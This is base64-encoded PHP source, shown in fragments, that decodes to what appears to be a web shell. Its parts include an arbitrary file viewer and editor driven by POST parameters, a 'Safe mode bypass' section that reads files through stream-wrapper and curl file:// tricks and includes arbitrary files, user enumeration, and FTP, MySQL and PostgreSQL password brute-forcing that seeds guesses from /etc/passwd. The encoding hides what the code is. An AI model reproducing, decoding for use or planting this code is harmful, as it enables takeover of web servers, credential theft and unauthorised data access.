KSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkgDQogICAgIC AgICAgICAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJy YXkoJ3R5cGUnID0+ICdkaXInKSk7IA0KICAgIH0gDQogICAgJE dMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0OyANCiAgICBmdW5jdGlv biBjbXAoJGEsICRiKSB7IA0KICAgICAgICBpZigkR0xPQkFMU1 snc29ydCddWzBdICE9ICdzaXplJykgDQogICAgICAgICAgICBy ZXR1cm4gc3RyY21wKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dLC AkYlskR0xPQkFMU1snc29ydCddWzBdXSkqKCRHTE9CQUxTWydz b3J0J11bMV0/MTotMSk7IA0KICAgICAgICBlbHNlDQogICAgIC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di YXNlNjRfZGVjb2RlJywgDQogICAgICAgICdVcmwgZW5jb2RlJy A9PiAndXJsZW5jb2RlJywgDQogICAgICAgICdVcmwgZGVjb2Rl JyA9PiAndXJsZGVjb2RlJywgDQogICAgICAgICdGdWxsIHVybG VuY29kZScgPT4gJ2Z1bGxfdXJsZW5jb2RlJywgDQogICAgICAg ICdtZDUgaGFzaCcgPT4gJ21kNScsIA0KICAgICAgICAnc2hhMS BoYXNoJyA9PiAnc2hhMScsIA0KICAgICAgICAnY3J5cHQnID0+ ICdjcnlwdCcsIA0KICAgICAgICAnQ1JDMzInID0+ICdjcmMzMi csIA0KICAgICAgICAnQVNDSUkgdG8gSEVYJyA9PiAnYXNjaWky aGV4JywgDQogICAgICAgICdIRVggdG8gQVNDSUknID0+ICdoZX gyYXNjaWknLCANCiAgICAgICAgJ0hFWCB0byBERUMnID0+ICdo ZXhkZWMnLCANCiAgICAgICAgJ0hFWCB0byBCSU4nID0+ICdoZX gyYmluJywgDQogICAgICAgICdERUMgdG8gSEVYJyA9PiAnZGVj aGV4JywgDQogICAgICAgICdERUMgdG8gQklOJyA9PiAnZGVjYm luJywgDQogICAgICAgICdCSU4gdG8gSEVYJyA9PiAnYmluMmhl eCcsIA0KICAgICAgICAnQklOIHRvIERFQycgPT4gJ2JpbmRlYy csICAgICAgICAgDQogICAgICAgICdTdHJpbmcgdG8gbG93ZXIg Y2FzZScgPT4gJ3N0cnRvbG93ZXInLCANCiAgICAgICAgJ1N0cm luZyB0byB1cHBlciBjYXNlJyA9PiAnc3RydG91cHBlcicsIA0K ICAgICAgICAnSHRtbHNwZWNpYWxjaGFycycgPT4gJ2h0bWxzcG VjaWFsY2hhcnMnLCANCiAgICAgICAgJ1N0cmluZyBsZW5ndGgn ID0+ICdzdHJsZW4nLCANCiAgICApOyANCiAgICBpZihlbXB0eS gkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10p KSANCiAgICAgICAgJF9TRVNTSU9OW21kN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b250ZW50X3R5cGUoJF9QT1NUWydwMSdd KTsgDQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LV R5cGU6ICIuJHR5cGUpOyANCiAgICAgICAgICAgIH0gDQogICAg ICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAici IpOyANCiAgICAgICAgICAgIGlmKCRmcCkgeyANCiAgICAgICAg ICAgICAgICB3aGlsZSghQGZlb2YoJGZwKSkgDQogICAgICAgIC AgICAgICAgICAgIGVjaG8gQGZyZWFkKCRmcCwgMTAyNCk7IA0K ICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOyANCiAgICAgIC AgICAgIH0gDQogICAgICAgIH0gZWxzZWlmKGlzX2RpcigkX1BP U1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXS kpIHsgDQogDQogICAgICAgIH0gDQogICAgICAgIGV4aXQ7IA0K ICAgIH0gDQogICAgaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZm lsZScgKSB7IA0KICAgICAgICBpZighZmlsZV9leGlzdHMoJF9Q T1NUWydwMSddKSkgeyANCiAgICAgICAgICAgICRmcCA9IEBmb3 BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7IA0KICAgICAgICAgICAg aWYoJGZwKSB7IA0KICAgICAgICAgICAgICAgICRfUE9TVFsncD InXSA9ICJlZGl0IjsgDQogICAgICAgICAgICAgICAgZmNsb3Nl KCRmcCk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCi AgICB9IA0KICAgIHByaW50SGVhZGVyKCk7IA0KICAgIGVjaG8g JzxoMT5GaWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbn Q+JzsgDQogICAgaWYoICFmaWxlX2V4aXN0cyhAJF9QT1NUWydw MSddKSApIHsgDQogICAgICAgIGVjaG8gJ0ZpbGUgbm90IGV4aX N0cyc7IA0KICAgICAgICBwcmludEZvb3RlcigpOyANCiAgICAg ICAgcmV0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HVtcCcsICdFZGl0JywgJ0NobW9kJywg J1JlbmFtZScsICdUb3VjaCcpOyANCiAgICBlbHNlDQogICAgIC AgICRtID0gYXJyYXkoJ0NobW9kJywgJ1JlbmFtZScsICdUb3Vj aCcpOyANCiAgICBmb3JlYWNoKCRtIGFzICR2KSANCiAgICAgIC AgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxs LG51bGwsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPicuKChzdH J0b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvYT4gJzsgDQogIC AgZWNobyAnDQogDQonOyANCiAgICBzd2l0Y2goJF9QT1NUWydw MiddKSB7IA0KICAgICAgICBjYXNlICd2aWV3JzogDQogICAgIC AgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nOyANCiAgICAg ICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJy k7IA0KICAgICAgICAgICAgaWYoJGZwKSB7IA0KICAgICAgICAg ICAgICAgIHdoaWxlKCAhQGZlb2YoJGZwKSApIA0KICAgICAgIC AgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZy ZWFkKCRmcCwgMTAyNCkpOyANCiAgICAgICAgICAgICAgICBAZm Nsb3NlKCRmcCk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAg ICAgIGVjaG8gJzwvcHJlPic7IA0KICAgICAgICAgICAgYnJlYW s7IA0KICAgICAgICBjYXNlICdoaWdobGlnaHQnOiANCiAgICAg ICAgICAgIGlmKCBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pIC kgeyANCiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNz PW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMT tjb2xvcjpibGFjazsiPic7IA0KICAgICAgICAgICAgICAgICRj b2RlID0gaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydwMSddLHRydW UpOyANCiAgICAgICAgICAgICAgICBlY2hvIHN0cl9yZXBsYWNl KGFycmF5KCc8c3BhbiAnLCc8L3NwYW4+JyksIGFycmF5KCc8Zm 9udCAnLCc8L2ZvbnQ+JyksJGNvZGUpLic8L2Rpdj4nOyANCiAg ICAgICAgICAgIH0gDQogICAgICAgICAgICBicmVhazsgDQogIC AgICAgIGNhc2UgJ2NobW9kJzogDQogICAgICAgICAgICBpZigg IWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7IA0KICAgICAgICAgIC AgICAgICRwZXJtcyA9IDA7IA0KICAgICAgICAgICAgICAgIGZv cigkaT1zdHJsZW4oJF9QT1NUWydwMyddKS0xOyRpPj0wOy0tJG kpIA0KICAgICAgICAgICAgICAgICAgICAkcGVybXMgKz0gKGlu dCkkX1BPU1RbJ3AzJ11bJGldKnBvdyg4LCAoc3RybGVuKCRfUE 9TVFsncDMnXSktJGktMSkpOyANCiAgICAgICAgICAgICAgICBp ZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkgDQogIC AgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCBzZXQgcGVy bWlzc2lvbnMhDQo8c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbH VlPSIiOzwvc2NyaXB0Pic7IA0KICAgICAgICAgICAgICAgIGVs c2UNCiAgICAgICAgICAgICAgICAgICAgZGllKCc8c2NyaXB0Pm cobnVsbCxudWxsLG51bGwsbnVsbCwiIik8L3NjcmlwdD4nKTsg DQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAnPG Zvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0 aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdX QgdHlwZT10ZXh0IG5hbWU9Y2htb2QgdmFsdWU9Iicuc3Vic3Ry KHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncDEnXS kpLC00KS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+ Ij48L2Zvcm0+JzsgDQogICAgICAgICAgICBicmVhazsgDQogIC AgICAgIGNhc2UgJ2VkaXQnOiANCiAgICAgICAgICAgIGlmKCAh aXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgeyANCiAgICAgIC AgICAgICAgICBlY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUn OyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgIC AgICB9IA0KICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1Rb J3AzJ10pICkgeyANCiAgICAgICAgICAgICAgICBAZmlsZV9wdX RfY29udGVudHMoJF9QT1NUWydwMSddLCRfUE9TVFsncDMnXSk7 IA0KICAgICAgICAgICAgICAgIGVjaG8gJ1NhdmVkIQ0KPHNjcm lwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4n OyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBlY2hvIC c8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxs LHRoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleH RhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7IA0KICAg ICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3 InKTsgDQogICAgICAgICAgICBpZigkZnApIHsgDQogICAgICAg ICAgICAgICAgd2hpbGUoICFAZmVvZigkZnApICkgDQogICAgIC AgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhA ZnJlYWQoJGZwLCAxMDI0KSk7IA0KICAgICAgICAgICAgICAgIE BmY2xvc2UoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAg ICAgICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdW JtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsgDQogICAgICAgICAg ICBicmVhazsgDQogICAgICAgIGNhc2UgJ2hleGR1bXAnOiANCi AgICAgICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRf UE9TVFsncDEnXSk7IA0KICAgICAgICAgICAgJG4gPSAwOyANCi AgICAgICAgICAgICRoID0gYXJyYXkoJzAwMDAwMDAwDQonLCcn LCcnKTsgDQogICAgICAgICAgICAkbGVuID0gc3RybGVuKCRjKT sgDQogICAgICAgICAgICBmb3IgKCRpPTA7ICRpPCRsZW47ICsr JGkpIHsgDQogICAgICAgICAgICAgICAgJGhbMV0gLj0gc3ByaW 50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJzsgDQogICAgICAg ICAgICAgICAgc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7IA0KIC AgICAgICAgICAgICAgICAgICBjYXNlIDA6ICAkaFsyXSAuPSAn ICc7IGJyZWFrOyANCiAgICAgICAgICAgICAgICAgICAgY2FzZS A5OiAgJGhbMl0gLj0gJyAnOyBicmVhazsgDQogICAgICAgICAg ICAgICAgICAgIGNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYW s7IA0KICAgICAgICAgICAgICAgICAgICBjYXNlIDEzOiAkaFsy XSAuPSAnICc7IGJyZWFrOyANCiAgICAgICAgICAgICAgICAgIC AgZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyBicmVhazsgDQog ICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkbi srOyANCiAgICAgICAgICAgICAgICBpZiAoJG4gPT0gMzIpIHsg DQogICAgICAgICAgICAgICAgICAgICRuID0gMDsgDQogICAgIC AgICAgICAgICAgICAgIGlmICgkaSsxIDwgJGxlbikgeyRoWzBd IC49IHNwcmludGYoJyUwOFgnLCRpKzEpLicNCic7fSANCiAgIC AgICAgICAgICAgICAgICAgJGhbMV0gLj0gJw0KJzsgDQogICAg ICAgICAgICAgICAgICAgICRoWzJdIC49ICJcbiI7I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2Zvcm0+Jz sgDQogICAgICAgICAgICBicmVhazsgDQogICAgICAgIGNhc2Ug J21rZmlsZSc6IA0KICAgICAgICAgICAgICANCiAgICAgICAgIC AgIGJyZWFrOyANCiAgICB9IA0KICAgIGVjaG8gJzwvZGl2Pic7 IA0KICAgIHByaW50Rm9vdGVyKCk7IA0KfSANCiANCmZ1bmN0aW 9uIGFjdGlvblNhZmVNb2RlKCkgeyANCiAgICAkdGVtcD0nJzsg DQogICAgb2Jfc3RhcnQoKTsgDQogICAgc3dpdGNoKCRfUE9TVF sncDEnXSkgeyANCiAgICAgICAgY2FzZSAxOiANCiAgICAgICAg ICAgICR0ZW1wPUB0ZW1wbmFtKCR0ZXN0LCAnY3gnKTsgDQogIC AgICAgICAgICBpZihAY29weSgiY29tcHJlc3MuemxpYjovLyIu JF9QT1NUWydwMiddLCAkdGVtcCkpeyANCiAgICAgICAgICAgIC AgICBlY2hvIEBmaWxlX2dldF9jb250ZW50cygkdGVtcCk7IA0K ICAgICAgICAgICAgICAgIHVubGluaygkdGVtcCk7IA0KICAgIC AgICAgICAgfSBlbHNlDQogICAgICAgICAgICAgICAgZWNobyAn U29ycnkuLi4gQ2FuXCd0IG9wZW4gZmlsZSc7IA0KICAgICAgIC AgICAgYnJlYWs7IA0KICAgICAgICBjYXNlIDI6IA0KICAgICAg ICAgICAgJGZpbGVzID0gZ2xvYigkX1BPU1RbJ3AyJ10uJyonKT sgDQogICAgICAgICAgICBpZiggaXNfYXJyYXkoJGZpbGVzKSAp IA0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcy AkZmlsZW5hbWUpIA0KICAgICAgICAgICAgICAgICAgICBlY2hv ICRmaWxlbmFtZS4iXG4iOyANCiAgICAgICAgICAgIGJyZWFrOy ANCiAgICAgICAgY2FzZSAzOiANCiAgICAgICAgICAgICRjaCA9 IGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWydwMiddLiJceD AwIi5TRUxGX1BBVEgpOyANCiAgICAgICAgICAgIGN1cmxfZXhl YygkY2gpOyANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICAgIC AgY2FzZSA0OiANCiAgICAgICAgICAgIGluaV9yZXN0b3JlKCJz YWZlX21vZGUiKTsgDQogICAgICAgICAgICBpbmlfcmVzdG9yZS gib3Blbl9iYXNlZGlyIik7IA0KICAgICAgICAgICAgaW5jbHVk ZSgkX1BPU1RbJ3AyJ10pOyANCiAgICAgICAgICAgIGJyZWFrOy ANCiAgICAgICAgY2FzZSA1OiANCiAgICAgICAgICAgIGZvcig7 JF9QT1NUWydwMiddIDw9ICRfUE9TVFsncDMnXTskX1BPU1RbJ3 AyJ10rKykgeyANCiAgICAgICAgICAgICAgICAkdWlkID0gQHBv c2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7IA0KICAgICAgIC AgICAgICAgIGlmICgkdWlkKSANCiAgICAgICAgICAgICAgICAg ICAgZWNobyBqb2luKCc6JywkdWlkKS4iXG4iOyANCiAgICAgIC AgICAgIH0gDQogICAgICAgICAgICBicmVhazsgDQogICAgICAg IGNhc2UgNjogDQogICAgICAgICAgICBpZighZnVuY3Rpb25fZX hpc3RzKCdpbWFwX29wZW4nKSlicmVhazsgDQogICAgICAgICAg ICAkc3RyZWFtID0gaW1hcF9vcGVuKCRfUE9TVFsncDInXSwgIi IsICIiKTsgDQogICAgICAgICAgICBpZiAoJHN0cmVhbSA9PSBG QUxTRSkgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgIC AgICAgICAgZWNobyBpbWFwX2JvZHkoJHN0cmVhbSwgMSk7IA0K ICAgICAgICAgICAgaW1hcF9jbG9zZSgkc3RyZWFtKTsgDQogIC AgICAgICAgICBicmVhazsgDQogICAgfSANCiAgICAkdGVtcCA9 IG9iX2dldF9jbGVhbigpOyANCiAgICBwcmludEhlYWRlcigpOy ANCiAgICBlY2hvICc8aDE+U2FmZSBtb2RlIGJ5cGFzczwvaDE+ PGRpdiBjbGFzcz1jb250ZW50Pic7IA0K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RpdiBjbGFzcz1jb250ZW50PjxzcGFuPl R5cGU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NU Wydwcm90byddKS4nIDxzcGFuPlNlcnZlcjo8L3NwYW4+ICcuaH RtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NlcnZlciddKS4nDQon OyANCiAgICAgICAgaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnZn RwJyApIHsgDQogICAgICAgICAgICBmdW5jdGlvbiBicnV0ZUZv cmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsgDQogICAgIC AgICAgICAgICAgJGZwID0gQGZ0cF9jb25uZWN0KCRpcCwgJHBv cnQ/JHBvcnQ6MjEpOyANCiAgICAgICAgICAgICAgICBpZighJGZwKS ByZXR1cm4gZmFsc2U7IA0KICAgICAgICAgICAgICAgICRyZXMg PSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7IA0KIC AgICAgICAgICAgICAgIEBmdHBfY2xvc2UoJGZwKTsgDQogICAg ICAgICAgICAgICAgcmV0dXJuICRyZXM7IA0KICAgICAgICAgIC AgfSANCiAgICAgICAgfSBlbHNlaWYoICRfUE9TVFsncHJvdG8n XSA9PSAnbXlzcWwnICkgeyANCiAgICAgICAgICAgIGZ1bmN0aW 9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykg eyANCiAgICAgICAgICAgICAgICAkcmVzID0gQG15c3FsX2Nvbm 5lY3QoJGlwLic6Jy4kcG9ydD8kcG9ydDozMzA2LCAkbG9naW4s ICRwYXNzKTsgDQogICAgICAgICAgICAgICAgQG15c3FsX2Nsb3 NlKCRyZXMpOyANCiAgICAgICAgICAgICAgICByZXR1cm4gJHJl czsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IGVsc2VpZi ggJF9QT1NUWydwcm90byddID09ICdwZ3NxbCcgKSB7IA0KICAg ICAgICAgICAgZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcn QsJGxvZ2luLCRwYXNzKSB7IA0KICAgICAgICAgICAgICAgICRz dHIgPSAiaG9zdD0nIi4kaXAuIicgcG9ydD0nIi4kcG9ydC4iJy B1c2VyPSciLiRsb2dpbi4iJyBwYXNzd29yZD0nIi4kcGFzcy4i JyBkYm5hbWU9JyciOyANCiAgICAgICAgICAgICAgICAkcmVzID 0gQHBnX2Nvbm5lY3QoJHNlcnZlclswXS4nOicuJHNlcnZlclsx XT8kc2VydmVyWzFdOjU0MzIsICRsb2dpbiwgJHBhc3MpOyANCi AgICAgICAgICAgICAgICBAcGdfY2xvc2UoJHJlcyk7IA0KICAg ICAgICAgICAgICAgIHJldHVybiAkcmVzOyANCiAgICAgICAgIC AgIH0gDQogICAgICAgIH0gDQogICAgICAgICRzdWNjZXNzID0g MDsgDQogICAgICAgICRhdHRlbXB0cyA9IDA7IA0KICAgICAgIC Akc2VydmVyID0gZXhwbG9kZSgiOiIsICRfUE9TVFsnc2VydmVy J10pOyANCiAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gMS kgeyANCiAgICAgICAgICAgICR0ZW1wID0gQGZpbGUoJy9ldGMv cGFzc3dkJyk7IA0KICAgICAgICAgICAgaWYoIGlzX2FycmF5KC R0ZW1wKSApIA0KICAgICAgICAgICAgICAgIGZvcmVhY2goJHRl bXAgYXMgJGxpbmUpIHsgDQogICAgICAgICAgICAgICAgICAgIC RsaW5lID0gZXhwbG9kZSgiOiIsICRsaW5lKTsgDQogICAgICAg ICAgICAgICAgICAgICsrJGF0dGVtcHRzOyANCiAgICAgICAgIC AgICAgICAgICAgaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0s QCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7IA 0KICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsg DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Yj4nLm h0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8L2I+OicuaHRt bHNwZWNpYWxjaGFycygkbGluZVswXSkuJw0KJzsgDQogICAgIC AgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAg IGlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgeyANCiAgICAgICAgIC AgICAgICAgICAgICAgICR0bXAgPSAiIjsgDQogICAgICAgICAg ICAgICAgICAgICAgICBmb3IoJGk9c3RybGVuKCRsaW5lWzBdKS 0xOyAkaT49MDsgLS0kaSkgDQogICAgICAgICAgICAgICAgICAg ICAgICAgICAgJHRtcCAuPSAkbGluZVswXVskaV07IA0KICAgIC AgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7IA0KICAg ICAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoQC RzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkdG1w KSApIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJH N1Y2Nlc3MrKzsgDQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWz BdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJHRtcCk7IA0K ICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgIC AgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IA0KICAg ICAgICB9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAyKSB7IA 0KICAgICAgICAgICAgJHRlbXAgPSBAZmlsZSgkX1BPU1RbJ2Rp Y3QnXSk7IA0KICAgICAgICAgICAgaWYoIGlzX2FycmF5KCR0ZW 1wKSApIA0KICAgICAgICAgICAgICAgIGZvcmVhY2goJHRlbXAg YXMgJGxpbmUpIHsgDQogICAgICAgICAgICAgICAgICAgICRsaW 5lID0gdHJpbSgkbGluZSk7IA0KICAgICAgICAgICAgICAgICAg ICArKyRhdHRlbXB0czsgDQog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CiAgICAgICAgICAgIC AgICAgICAgJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOyAN CiAgICAgICAgICAgICAgICAgICAgaWYoISRob3N0WzFdKSAkaG 9zdFsxXT01NDMyOyANCiAgICAgICAgICAgICAgICAgICAgaWYo ICR0aGlzLT5saW5rID0gQHBnX2Nvbm5lY3QoImhvc3Q9eyRob3 N0WzBdfSBwb3J0PXskaG9zdFsxXX0gdXNlcj0kdXNlciBwYXNz d29yZD0kcGFzcyBkYm5hbWU9JGRibmFtZSIpICkgcmV0dXJuIH RydWU7IA0KICAgICAgICAgICAgICAgICAgICBicmVhazsgDQog ICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbH NlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gc2Vs ZWN0ZGIoJGRiKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aG lzLT50eXBlKSAgICB7IA0KICAgICAgICAgICAgICAgIGNhc2Ug J215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIGlmIChAbX lzcWxfc2VsZWN0X2RiKCRkYikpcmV0dXJuIHRydWU7IA0KICAg ICAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgIC B9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAg ICAgfSANCiAgICAgICAgZnVuY3Rpb24gcXVlcnkoJHN0cikgey ANCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgeyAN CiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgIC AgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBt eXNxbF9xdWVyeSgkc3RyKTsgDQogICAgICAgICAgICAgICAgIC AgIGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3Nx bCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaX MtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsg DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgIC AgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0K ICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBmZXRjaCgpIH sgDQogICAgICAgICAgICAkcmVzID0gZnVuY19udW1fYXJncygp P2Z1bmNfZ2V0X2FyZygwKTokdGhpcy0+cmVzOyANCiAgICAgIC AgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgeyANCiAgICAg ICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgICAgICAgIC AgICAgICAgICByZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRy ZXMpOyANCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KIC AgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzogDQogICAgICAg ICAgICAgICAgICAgIHJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJH Jlcyk7IA0KICAgICAgICAgICAgICAgICAgICBicmVhazsgDQog ICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbH NlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gbGlz dERicygpIHsgDQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPn R5cGUpICAgIHsgDQogICAgICAgICAgICAgICAgY2FzZSAnbXlz cWwnOiANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aG lzLT5yZXMgPSBAbXlzcWxfbGlzdF9kYnMoJHRoaXMtPmxpbmsp OyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgIC AgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAg ICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcn koIlNFTEVDVCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UiKTsg DQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgIC AgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAg ICAgIH0gDQogICAgICAgIGZ1bmN0aW9uIGxpc3RUYWJsZXMoKS B7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAg ICB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQ ogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVz ID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIFRBQkxFUycpOyANCiAgIC AgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAg Y2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcm V0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoInNlbGVj dCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLn RhYmxlcyB3aGVyZSAodGFibGVfc2NoZW1hICE9ICdpbmZvcm1h dGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2 NhdGFsb2cnKSBvciB0YWJsZV9uYW1lID0gJ3BnX3VzZXInIik7 IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgIC AgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAg ICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBlcnJvcigpIHsgDQ ogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsg DQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiANCiAgIC AgICAgICAgICAgICAgICAgcmV0dXJuIEBteXNxbF9lcnJvcigk dGhpcy0+bGluayk7IA0KICAgICAgICAgICAgICAgIGJyZWFrOy ANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IA0KICAg ICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX2xhc3RfZXJyb3 IoJHRoaXMtPmxpbmspOyANCiAgICAgICAgICAgICAgICBicmVh azsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dX JuIGZhbHNlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rp b24gc2V0Q2hhcnNldCgkc3RyKSB7IA0KICAgICAgICAgICAgc3 dpdGNoKCR0aGlzLT50eXBlKSAgICB7IA0KICAgICAgICAgICAg ICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgIC 